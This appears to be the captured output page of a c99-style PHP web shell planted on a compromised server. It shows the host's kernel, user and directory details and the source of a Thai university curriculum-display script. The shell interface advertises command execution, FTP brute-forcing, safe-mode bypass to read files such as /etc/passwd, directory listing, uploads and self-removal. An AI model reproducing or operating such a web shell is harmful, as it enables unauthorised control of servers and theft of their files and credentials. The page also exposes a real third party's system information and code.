!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDetailProgram.php (7.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once "global.php";
include_once 
"link/function.php";
include_once 
"class/clsProgram.php";
include_once 
"class/clsDegree.php";
include_once 
"class/clsLevel.php";
include_once 
"class/clsProgramConfig.php";

$conn = new Connection();

$oPg = new Program();
$oDg = new Degree();
$oLv = new Level();
$oPc = new ProgramConfig();
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="/source/style.css" rel="stylesheet" type="text/css">
<table width="450" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><fieldset>
            <legend align="center"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><b>รายละเอียดข้อมูลหลักสูตร</b></font></legend>
            <label><div align="center"><br><table width="410" align="center" cellpadding="0" cellspacing="1" boder="1">
                <tr>
                    <td><table width="410" border="0" cellpadding="1" cellspacing="1" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_2"];?>">
<?php
                        $oPg
->SearchByKey($programId);
                        
$oPg->GetRecord();
                        
$oDg->SearchByKey($oPg->degreeId);
                        
$oDg->GetRecord();
                        
$oLv->SearchByKey($oPg->levelId);
                        
$oLv->GetRecord();
                        
$oPc->SearchByKey($oPg->programConfId);
                        
$oPc->GetRecord();
?>
                        <tr>
                            <td width="180"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>รหัสหลักสูตร</strong></font></td>
                            <td width="10">&nbsp;</td>
                            <td width="220"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programCode;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ปีที่ปรับปรุงหลักสูตร</b></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programYear;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>วุฒิการศึกษา</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oDg->degreeName;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ระดับการศึกษา</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oLv->levelName;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อหลักสูตร (ไทย)</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programName;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อหลักสูตร (อังกฤษ)</b></font></td>
                            <td>&nbsp;</td>
                            <td><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2"><?php echo $oPg->programNameEng;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อย่อหลักสูตร (ไทย)</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programAbbr;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อย่อหลักสูตร (อังกฤษ)</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programAbbrEng;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>หน่วยกิตรวมขั้นต่ำ</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->creditTotal;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>คะแนนเฉลี่ยสะสมตลอดหลักสูตร</b></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo number_format($oPg->gradePointMin2);?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>สาระสำคัญของหลักสูตร (ไทย)</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->description;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>สาระสำคัญของหลักสูตร (อังกฤษ)</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->descriptionEng;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>จำนวนปีสูงสุดที่เรียนได้</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->studyYearMax;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">
                            <td height="22"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>จำนวนปีที่เรียนตามปกติ</b></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->studyYear;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>จำนวนภาคการศึกษาต่อปี</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->semesterPerYear;?></font></td>
                        </tr>
                        <tr>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>หลักสูตรของสถาบัน</strong></font></td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPc->programConfName;?></font></td>
                        </tr>
                        <tr>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>สถานะหลักสูตร</strong></font></td>
                            <td>&nbsp;</td>
                            <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programStatus;?></font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td align="center"><br><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()"></td>
                </tr>
            </table></div></label>
        </fieldset><br><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>Y = ใช้อยู่ , N = เลิกใช้แล้ว</font></td>
    </tr>
</table>
<?php
$oPg
->Destroy();
$oDg->Destroy();
$oLv->Destroy();
$oPc->Destroy();
$conn->Disconnect();

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0181 ]--